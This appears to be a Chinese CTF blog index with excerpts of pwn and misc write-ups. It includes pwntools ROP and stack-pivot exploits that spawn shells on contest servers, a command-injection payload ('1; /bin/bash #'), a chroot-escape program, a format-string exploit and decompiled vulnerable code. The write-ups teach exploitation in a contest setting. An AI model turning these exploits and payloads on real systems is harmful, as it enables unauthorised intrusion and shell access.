快来和我贴贴qaq
post @ 2024-10-23

前言

太菜了了喵,不懂dev 不懂algo

总排名 #68,校外排名 #22,差四十分就能拿到三等奖了还是太菜了

签到

啊这,看起来像是压缩包套娃,随便点了几下就找到flag了

flag{W3LCOME-TO-THE-GUTSY-GUSHY-GEEKGAME}

清北问答

flag1

flag{jailbreak-master-unleashed}

flag2

Read More
post @ 2024-09-07

iot

We found a command injection….. but you have to reboot the router to activate it…

Reboot(Misc)

### IMPORTS ###
import os, time, sys


### INPUT ###
hostname = 'bababooey'

while True:
    print('=== MENU ===')
    print('1. Set hostname')
    print('2. Reboot')
    print()
    choice = input('Choice: ')

    if choice == '1':
        hostname = input('Enter new hostname (30 chars max): ')[:30]

    elif choice == '2':
        print("Rebooting...")
        sys.stdout.flush()
        time.sleep(30)
        os.system(f'cat /etc/hosts | grep {hostname} -i')
        print('Reboot complete')

    else:
        print('Invalid choice')

命令注入? 查询了一下shell相关的文档,发现可以通过 ;去连接两条子命令,# 去注释掉 -i

exp

1; /bin/bash #

Sal(HardWare)

A few friends and I recently hacked into a consumer-grade home router. Our first goal was to obtain the firmware. To do that, we hooked up a SOIC-8 clip to the external flash memory chip, connected a Saleae Logic Pro 8 logic analyzer, and captured data using Logic 2 as we booted up the IoT device. The external flash memory chip was Winbond 25Q128JVSQ.

What's the md5sum of /etc/passwd?

Flag format - byuctf{hash}

external flash memory chip(外部存储芯片) 一般用来存数据(文件系统),需要分析Saleae逻辑分析仪捕获的信号,来还原这个文件系统

Read More
post @ 2024-09-04

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2024pwn

pstack

程序逻辑非常简单,存在栈溢出只能覆盖返回地址,没有pie,通过二次栈迁移,控制rbp来实现任意地址写,然后第一次栈迁移往bss写满泄露地址的rop,之后二次迁移过去执行就可以执行rop,第一次rop泄露地址,第二次rop直接getshell

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "139.155.126.78"
PORT = 32922
elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

rdi=0x0000000000400773
rbp=0x00000000004005b0
leave_ret=0x4006DB
ret=0x4006DC
vuln=0x4006C4

payload = flat([
    b'a' * 0x30,0x601730,vuln
])
sa("Can you grasp this little bit of overflow?",payload)

payload = flat([
    rdi,elf.got['read'],elf.plt['puts'],
    rbp,0x601a30,vuln,
    0x6016f8,leave_ret
])
s(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) -libc.sym['read']
success(hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = flat([
    rdi,binsh,system,b'a' * 0x18,
    0x6019f8,leave_ret
])
s(payload)

p.interactive()

httpd

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int result; // eax
  int v6; // eax
  int v7; // eax
  struct tm *v8; // eax
  __time_t tv_sec; // edi
  int st_size; // esi
  const char *v11; // eax
  struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
  int v13; // [esp+Ch] [ebp-14130h] BYREF
  int v14; // [esp+10h] [ebp-1412Ch] BYREF
  int v15; // [esp+14h] [ebp-14128h] BYREF
  int v16; // [esp+18h] [ebp-14124h] BYREF
  char v17; // [esp+1Ch] [ebp-14120h] BYREF
  char *haystack; // [esp+20h] [ebp-1411Ch]
  int i; // [esp+24h] [ebp-14118h]
  size_t v20; // [esp+28h] [ebp-14114h]
  char *has_host; // [esp+2Ch] [ebp-14110h]
  char *v22; // [esp+30h] [ebp-1410Ch]
  int stdout_fd; // [esp+34h] [ebp-14108h]
  int v24; // [esp+38h] [ebp-14104h]
  FILE *stream; // [esp+3Ch] [ebp-14100h]
  int v26; // [esp+40h] [ebp-140FCh]
  FILE *v27; // [esp+44h] [ebp-140F8h]
  int c; // [esp+48h] [ebp-140F4h]
  struct stat v29; // [esp+4Ch] [ebp-140F0h] BYREF
  char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
  char v31[16]; // [esp+A8h] [ebp-14094h] BYREF
  char v32[116]; // [esp+B8h] [ebp-14084h] BYREF
  char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
  char input_data[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
  char httpMethod[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
  char requestPath; // [esp+56C0h] [ebp-EA7Ch] BYREF
  char v37[9999]; // [esp+56C1h] [ebp-EA7Bh] BYREF
  char httpVersion[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
  char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
  char v40[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
  __int64 v41; // [esp+12FE4h] [ebp-1158h]
  char *v42; // [esp+12FECh] [ebp-1150h]
  int v43; // [esp+1312Ch] [ebp-1010h] BYREF
  unsigned int v44; // [esp+14120h] [ebp-1Ch]
  int *p_argc; // [esp+1412Ch] [ebp-10h]

  p_argc = &argc;
  while ( &v43 != (int *)v33 )
    ;
  v44 = __readgsdword(0x14u);
  memset(&v33[884], 0, 1024);
  v20 = 0;
  strcpy(modes, "r");
  if ( chdir("/home/ctf/html") < 0 )
    puts_error(500, (int)"Internal Error", 0, "Config error - couldn't chdir().");
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "No request found.");
  if ( __isoc99_sscanf(input_data, "%[^ ] %[^ ] %[^ ]", httpMethod, &requestPath, httpVersion) != 3 )
    puts_error(400, (int)"Bad Request", 0, "Can't parse request.");
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "Missing Host.");
  has_host = strstr(input_data, "Host: ");
  if ( !has_host )
    puts_error(400, (int)"Bad Request", 0, "Missing Host.");
  v22 = strstr(has_host + 6, "\r\n");
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(has_host + 6, (int)"\n");
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(has_host + 6) <= 7 )
    puts_error(400, (int)"Bad Request", 0, "Host len error.");
  if ( has_host == (char *)-6 || !has_host[6] )
    puts_error(400, (int)"Bad Request", 0, "Host fmt error.");
  v42 = &v17;
  HIDWORD(v41) = &v16;
  __isoc99_sscanf(has_host + 6, "%d.%d.%d.%d%c", &v13, &v14, &v15);
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
  has_host = strstr(input_data, "Content-Length: ");
  if ( !has_host )
    puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
  v22 = strstr(has_host + 16, "\r\n");
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(has_host + 16, (int)"\n");
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(has_host + 16) > 5 )
    puts_error(400, (int)"Bad Request", 0, "Content-Length len too long.");
  if ( strcasecmp(httpMethod, "get") )
    puts_error(501, (int)"Not Implemented", 0, "That method is not implemented.");
  if ( strncmp(httpVersion, "HTTP/1.0", 8u) )
    puts_error(400, (int)"Bad Request", 0, "Bad protocol.");
  if ( requestPath != 47 )
    puts_error(400, (int)"Bad Request", 0, "Bad filename.");
  haystack = v37;
  urldecode(v37, v37);
  if ( !*haystack )
    haystack = "./";
  v20 = strlen(haystack);
  if ( *haystack == '/'                         // 目录穿越检查
    || !strcmp(haystack, "..")
    || !strncmp(haystack, "../", 3u)
    || strstr(haystack, "/../")
    || !strcmp(&haystack[v20 - 3], "/..") )
  {
    puts_error(400, (int)"Bad Request", 0, "Illegal filename.");
  }
  if ( !sub_1F74(haystack) )
    puts_error(404, (int)"Not Found", 0, "Invalid file name.");
  v3 = fileno(stdout);
  stdout_fd = dup(v3);
  v4 = fileno(stderr);
  v24 = dup(v4);
  freopen("/dev/null", "w", stdout);
  freopen("/dev/null", "w", stderr);
  stream = popen(haystack, modes);
  if ( stream )
  {
    pclose(stream);
    v6 = fileno(stdout);
    dup2(stdout_fd, v6);
    v7 = fileno(stderr);
    dup2(v24, v7);
    close(stdout_fd);
    close(v24);
    if ( stat(haystack, &v29) < 0 )
      puts_error(404, (int)"Not Found", 0, "File not found.");
    if ( (v29.st_mode & 0xF000) == 0x4000 )
    {
      if ( haystack[v20 - 1] != 47 )
      {
        snprintf(v40, 0x4E20u, "Location: %s/", &requestPath);
        puts_error(302, (int)"Found", (int)v40, "Directories must end with a slash.");
      }
      snprintf(file, 0x4E20u, "%sindex.html", haystack);
      if ( stat(file, &v29) < 0 )
      {
        sub_23D9(200, "Ok", 0, (int)"text/html", -1, v29.st_mtim.tv_sec);
        v26 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
        if ( v26 >= 0 )
        {
          for ( i = 0; i < v26; ++i )
          {
            sub_2704(v32, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
            snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
            if ( lstat(file, &v29) >= 0 )
            {
              v8 = localtime(&v29.st_mtim.tv_sec);
              strftime(v31, 0x10u, "%d%b%Y %H:%M", v8);
              printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v32, namelist[i]->d_name, v31, (__int64)v29.st_size);
              sub_20C6(file);
            }
            else
            {
              printf("<a href=\"%s\">%-32.32s</a>    ???\n", v32, namelist[i]->d_name);
            }
            printf(
              "</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
              "https://2024ycb.dasctf.com/",
              "YCB2024");
          }
        }
        else
        {
          perror("scandir");
        }
        goto LABEL_74;
      }
      haystack = file;
    }
    v27 = fopen(haystack, "r");
    if ( !v27 )
      puts_error(403, (int)"Forbidden", 0, "File is protected.");
    tv_sec = v29.st_mtim.tv_sec;
    st_size = v29.st_size;
    v11 = sub_2566(haystack);
    sub_23D9(200, "Ok", 0, (int)v11, st_size, tv_sec);
    while ( 1 )
    {
      c = getc(v27);
      if ( c == -1 )
        break;
      putchar(c);
    }
LABEL_74:
    fflush(stdout);
    exit(0);
  }
  result = -1;
  if ( v44 != __readgsdword(0x14u) )
    check_canary();
  return result;
}

程序的逻辑很长,实现了一个http request parse,然后相应请求,大多数逻辑都是对http request的格式做判断,还有目录穿越的检查

漏洞出在这里popen这里

这个popen会fork一个子进程,然后调用shell,把参数传过去,也没有做过滤,所以可以通过这里执行命令

exp

Read More
post @ 2024-09-02

题目附件https://github.com/nyyyddddn/ctf/tree/main/gdbjail

最近在ImaginaryCTF看到两个关于gdbjail的题目,觉得挺有意思的,远程提供了一个受限的gdb调试环境,限制交互的时候使用的命令,目的是利用限制的命令去实现getshell,或者是将flag读出来。

没用过没装插件的gdb,不装插件挺难用的

gdbjail1

run.sh

#!/bin/bash

gdb -x /home/user/gdbinit

gdbinit

source /home/user/main.py

main.py

import gdb

def main():
    gdb.execute("file /bin/cat")
    gdb.execute("break read")
    gdb.execute("run")

    while True:
        try:
            command = input("(gdb) ")
            if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
                try:
                    gdb.execute(command)
                except gdb.error as e:
                    print(f"Error executing command '{command}': {e}")
            else:
                print("Only 'break', 'set', and 'continue' commands are allowed.")
        except:
            pass

if __name__ == "__main__":
    main()
Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/nssr3d_Iterator_Trap/Iterator_Trap

Iterator_Trap

这是一个关于stl迭代器不安全使用导致uaf的漏洞,第一次出和stl相关的题目

题目逻辑

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  uint32_t choice; // [rsp+Ch] [rbp-54h] BYREF
  std::vector<void*> chunklist; // [rsp+10h] [rbp-50h] BYREF
  std::vector<int> sizelist; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+48h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  std::vector<void *>::vector(&chunklist);
  std::vector<int>::vector(&sizelist);
  init();
  gift();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &choice);
      if ( choice != 3 )
        break;
      edit_func(&chunklist, &sizelist);
    }
    if ( choice > 3 )
      break;
    if ( choice == 1 )
    {
      create_func(&chunklist, &sizelist);
    }
    else
    {
      if ( choice != 2 )
        break;
      delete_func(&chunklist, &sizelist);
    }
  }
  exit(0);
}

void __cdecl menu()
{
  puts("[1] void create(__uint32_t size,char *content)");
  puts("[2] void delete(__uint32_t idx)");
  puts("[3] void edit(__uint32_t idx,char *content)");
  printf(">>> ");
}

void __cdecl gift()
{
  void *v0; // rax

  v0 = sbrk(0LL);
  printf("Welcome to nssctf 3rd. gift: %p\n", v0);
}

void __cdecl create_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<int>::size_type v2; // rdx
  __gnu_cxx::__alloc_traits<std::allocator<int>,int>::value_type v3; // ebx
  std::vector<void*>::size_type v4; // rdx
  char **v5; // rax
  int size; // [rsp+1Ch] [rbp-24h] BYREF
  std::vector<void*>::value_type __x[3]; // [rsp+20h] [rbp-20h] BYREF

  __x[1] = (std::vector<void*>::value_type)__readfsqword(0x28u);
  puts("size: ");
  __isoc99_scanf("%d", &size);
  __x[0] = malloc(size);
  std::vector<void *>::push_back(chunklist, __x);
  std::vector<int>::push_back(sizelist, &size);
  puts("content: ");
  v2 = std::vector<int>::size(sizelist) - 1;
  v3 = *std::vector<int>::operator[](sizelist, v2);
  v4 = std::vector<void *>::size(chunklist) - 1;
  v5 = (char **)std::vector<void *>::operator[](chunklist, v4);
  my_fgets(*v5, v3, 0);
}

ssize_t __cdecl my_fgets(char *buf, int size, int fd)
{
  size_t v4; // rdx
  char ch_0; // [rsp+17h] [rbp-19h] BYREF
  size_t total_read; // [rsp+18h] [rbp-18h]
  ssize_t bytes_read; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  if ( size <= 0 || !buf )
    return -1LL;
  total_read = 0LL;
  while ( total_read < size - 1 )
  {
    bytes_read = read(fd, &ch_0, 1uLL);
    if ( ch_0 == 10 )
      break;
    v4 = total_read++;
    buf[v4] = ch_0;
  }
  return total_read;
}

void __cdecl delete_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<void*>::size_type M_current_low; // rbx
  void **v4; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > v6; // [rsp+20h] [rbp-30h] BYREF
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > __i; // [rsp+28h] [rbp-28h] BYREF
  __gnu_cxx::__normal_iterator<void* const*,std::vector<void*> > idx[3]; // [rsp+30h] [rbp-20h] BYREF

  idx[1]._M_current = (void *const *)__readfsqword(0x28u);
  for ( i = 0; i < std::vector<int>::size(sizelist); ++i )
  {
    if ( *std::vector<int>::operator[](sizelist, i) == -1 )
    {
      v6._M_current = std::vector<int>::begin(sizelist)._M_current;
      __i._M_current = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v6, i)._M_current;
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(
        (__gnu_cxx::__normal_iterator<int const*,std::vector<int> > *const)idx,
        &__i);
      std::vector<int>::erase(sizelist, (std::vector<int>::const_iterator)idx[0]._M_current);
      v6._M_current = (int *)std::vector<void *>::begin(chunklist)._M_current;
      __i._M_current = (int *)__gnu_cxx::__normal_iterator<void **,std::vector<void *>>::operator+(
                                (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *const)&v6,
                                i)._M_current;
      __gnu_cxx::__normal_iterator<void * const*,std::vector<void *>>::__normal_iterator<void **>(
        idx,
        (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *)&__i);
      std::vector<void *>::erase(chunklist, idx[0]);
    }
  }
  puts("idx: ");
  __isoc99_scanf("%d", idx);
  if ( SLODWORD(idx[0]._M_current) >= 0
    && (M_current_low = SLODWORD(idx[0]._M_current), M_current_low < std::vector<void *>::size(chunklist)) )
  {
    v4 = std::vector<void *>::operator[](chunklist, SLODWORD(idx[0]._M_current));
    free(*v4);
    *std::vector<int>::operator[](sizelist, SLODWORD(idx[0]._M_current)) = -1;
    puts("success");
  }
  else
  {
    puts("error");
  }
}

漏洞出在 delete_func这边 在delete前会根据sizelist容器中成员的值,判断哪些是free状态的成员然后再erase这些成员,但是在erase的时候是根据begin() + i 去erase的,erase完后容器的大小发生了变化,下一个begin() + i 就不是原先的 begin() + i了,所以在delete的时候并不能earse连续的free状态的成员,所以存在一个uaf。 然后create的时候size也没有做下界的判断,所以可以通过create_func去创建连续负值的size去构造uaf。

gift 通过sbrk 给了堆地址,就不用泄露堆地址,然后这个edit其实可以当show来用,实现出任意地址申请后,可以申请到堆上vector成员的位置,再配合edit,就可以实现多次任意地址写,泄露出environ后,用任意地址写去写子函数的返回地址打rop去getshell

或者是打fsop house of apple2的利用链,只需要泄露libc还有实现一次任意地址写,之后伪造iofile,宽字符的虚表后就可以getshell

劫持vector 把任意地址申请增强 转换成可以用很简单的方式实现任意地址读写的做法

exp

Read More
post @ 2024-08-31

题目附件https://github.com/nyyyddddn/ctf/tree/main/srcrf_pwn

chroot escape

啊这,咱没有想到解出来的人很少,因为chroot escape相关的文章网上有很多,这里挑重点说一下,更详细的信息可以看这里

https://web.archive.org/web/20160127150916/http://www.bpfh.net/simes/computing/chroot-break.html

chroot本质上是通过chroot系统调用去更改进程的根目录位置,以限制该进程对系统其他部分的访问。然而,在具有root权限的情况下,可以通过chdir和chroot实现二次逃逸。具体做法是,通过chdir系统调用将当前目录更改成跟目录,然后使用chroot将根目录重新设置为当前工作目录。从而恢复对整个文件系统的访问。

exp

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
    mkdir("sub-dir", 0755);
    chroot("sub-dir");
    for(int i = 0; i < 10; i++) {
    chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

需要静态链接或者是内联汇编,因为容器里没有装动态链接库

如何上传文件??可以先将数据编码,然后通过终端将编码的数据传上去后再解码

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import base64
import sys
import os


context(os='linux', arch='amd64')
context.log_level = 'debug'

is_debug = 0
IP = "110.40.35.62"
PORT = 32794

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def read_file(filename):
    with open(filename, 'r') as file:
        return file.read()
p = connect()

cmd = '$ '

os.system('base64 exp > exp.b64')
sl('cat <<EOF > exp.b64')
sl(read_file('exp.b64'))
sl('EOF')
sl('base64 -d exp.b64 > exp')
sl('chmod +x ./exp')



p.interactive()
Read More
post @ 2024-08-31

题目附件https://github.com/nyyyddddn/ctf/tree/main/xyctf_pwn

前段时间好忙,最近这几天才抽出时间整理下东西,xyctf是今年四月份开的,当时是第一次出题,想给入门pwn一段时间的师傅分享些简单又可以开阔一下思路的pwn题

hello_world(签到)

在glibc 2.31以后 csu fini csu init都变成了动态链接,大多数好用的修改寄存器的gadget(如pop rdi ret,pop rsi ret)都是从csu init中错位字节获取的,在能泄露libc的情况下,可以转换一下思路,从libc中拿gadget

程序逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

程序有两次输入的机会,第一次输入通过%s去泄露一个libc相关的地址,然后计算出libc_base,然后用libc中的gadget打rop就行了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 36241

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b'a' * 0x28

time.sleep(0.3)
# g(p)
s(payload)

ru(b'a' * 0x28)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7f662d429d90 - 0x7f662d400000)
success(f"libc_base ->{hex(libc_base)}")
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x0000000000029139

payload = b'b' * 0x28 
payload += p64(pop_rdi_ret) + p64(binsh) +  p64(ret)+ p64(system)

time.sleep(0.3)
# g(p)
s(payload)

p.interactive()

Intermittent

Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2023

risky_login

一道riscv64 小端序 栈溢出 ret2text的题目,最新的ida 9.0可以反编译riscv架构的程序,就不需要用难用的ghidra去分析了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[288]; // [sp+0h] [-120h] BYREF

  init_io();
  puts("RiskY LoG1N SySTem");
  puts("Input ur name:");
  read(0, command, 8uLL);
  printf("Hello, %s", command);
  puts("Input ur words");
  read(0, v4, 0x120uLL);
  my_input(v4);
  puts("message received");
  return 0;
}

char *__fastcall my_input(const char *a1)
{
  char v3[248]; // [sp+18h] [-108h] BYREF

  byte_12347070 = strlen(a1);
  if ( (unsigned __int8)byte_12347070 > 8uLL )
  {
    puts("too long.");
    exit(-1);
  }
  return strcpy(v3, a1);
}

__int64 backdoor()
{
  puts("background debug fun.");
  puts("input what you want exec");
  read(0, command, 8uLL);
  if ( strstr(command, "sh") || strstr(command, "flag") )
  {
    puts("no.");
    exit(-1);
  }
  return system(command);
}

https://ta0lve.github.io/posts/pwn/risc-v/0x01/#%E5%AF%84%E5%AD%98%E5%99%A8%E5%AD%A6%E4%B9%A0

在my input这里存在一个栈溢出,因为strlen只检查低一个字节的数据,那该溢出多少?通过阅读文档可以发现这个ret相当于jmp ra的作用,然后sd ra, 110h+var_s8(sp) 这个是存储返回地址,所以返回地址在栈底 - 0x8的位置,然后strcpy地址距离栈底 0x108,偏移0x100就刚刚好到返回地址那了

.text:0000000012345786 my_input:                               # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786 var_108         = -108h
.text:0000000012345786 var_F8          = -0F8h
.text:0000000012345786 var_s0          =  0
.text:0000000012345786 var_s8          =  8
.text:0000000012345786 arg_0           =  10h
.text:0000000012345786
.text:0000000012345786                 addi            sp, sp, -120h
.text:0000000012345788                 sd              ra, 110h+var_s8(sp)
.text:000000001234578A                 sd              s0, 110h+var_s0(sp)
.text:000000001234578C                 addi            s0, sp, 110h+arg_0
.text:000000001234578E                 sd              a0, -10h+var_108(s0)
.text:0000000012345792                 ld              a0, -10h+var_108(s0)
.text:0000000012345796                 call            strlen
.text:000000001234579E                 mv              a5, a0
.text:00000000123457A0                 andi            a4, a5, 0FFh
.text:00000000123457A4                 sb              a4, byte_12347070
.text:00000000123457A8                 lbu             a5, byte_12347070
.text:00000000123457AC                 mv              a4, a5
.text:00000000123457AE                 li              a5, 8
.text:00000000123457B0                 bgeu            a5, a4, loc_123457CE
.text:00000000123457B4                 lui             a5, %hi(aTooLong) # "too long."
.text:00000000123457B8                 addi            a0, a5, %lo(aTooLong) # "too long."
.text:00000000123457BC                 call            puts
.text:00000000123457C4                 li              a0, -1
.text:00000000123457C6                 call            exit
.text:00000000123457CE # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE loc_123457CE:                           # CODE XREF: my_input+2A↑j
.text:00000000123457CE                 addi            a5, s0, -10h+var_F8
.text:00000000123457D2                 ld              a1, -10h+var_108(s0)
.text:00000000123457D6                 mv              a0, a5
.text:00000000123457D8                 call            strcpy
.text:00000000123457E0                 nop
.text:00000000123457E2                 ld              ra, 110h+var_s8(sp)
.text:00000000123457E4                 ld              s0, 110h+var_s0(sp)
.text:00000000123457E6                 addi            sp, sp, 120h
.text:00000000123457E8                 ret

覆盖返回地址为backdoor,然后cat fl* 就能把flag读出来了

那riscv的程序如何调试呢?? qemu 有一个 -g的参数可以通过gdb-multiarch remote连上去打断点调试,在process开程序的时候加这个-g的参数就可以通过gdb连上去调试了

debug.sh

Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E5%A5%87%E5%A5%87%E6%80%AA%E6%80%AA%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%88%A9%E7%94%A81

非栈上格式化字符串套orw

hznuctf_ezpwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sand_box(argc, argv, envp);
  rand_time();
  vuln();
  return 0;
}

void rand_time()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  seed = time(0LL);
  printf("welcome to HZNUCTF !");
  printf("Please input your name: ");
  read(0, buf, 0x10uLL);
  printf("Hello, %s\n", buf);
  puts("I wonder if you're lucky enough");
  srand(seed);
  for ( i = 0; i <= 9; ++i )
  {
    printf("Let's guess the number: ");
    __isoc99_scanf("%d", &seed);
    if ( rand() != seed )
    {
      puts("Wrong.");
      puts("Guess you weren't lucky enough.");
      exit(-1);
    }
    puts("Right.");
  }
}

__int64 vuln()
{
  puts("WOW you really a lucky guy!");
  puts("Then I want to know if you are capable enough.");
  while ( 1 )
  {
    printf("Please tell us something: ");
    read(0, s1, 0x80uLL);
    if ( !strcmp(s1, "HZNUCTF") )
      break;
    printf(s1);
  }
  return 0LL;
}

非栈上格式化字符串相对栈上格式化字符串 最麻烦的地方是任意地址写需要通过一个指针去调整另一个指针,一个字节或者是两个字节的写数据,需要两个步骤,有orw的情况下(不考虑这个沙箱能escape的情况)如果能正常退出循环,可以配合栈迁移的方式,把栈迁移到输入地址那进行rop,然后还可以通过二次迁移迁移到已知的地址来做更复杂的操作

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
	payload=cdll.rand()
	sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
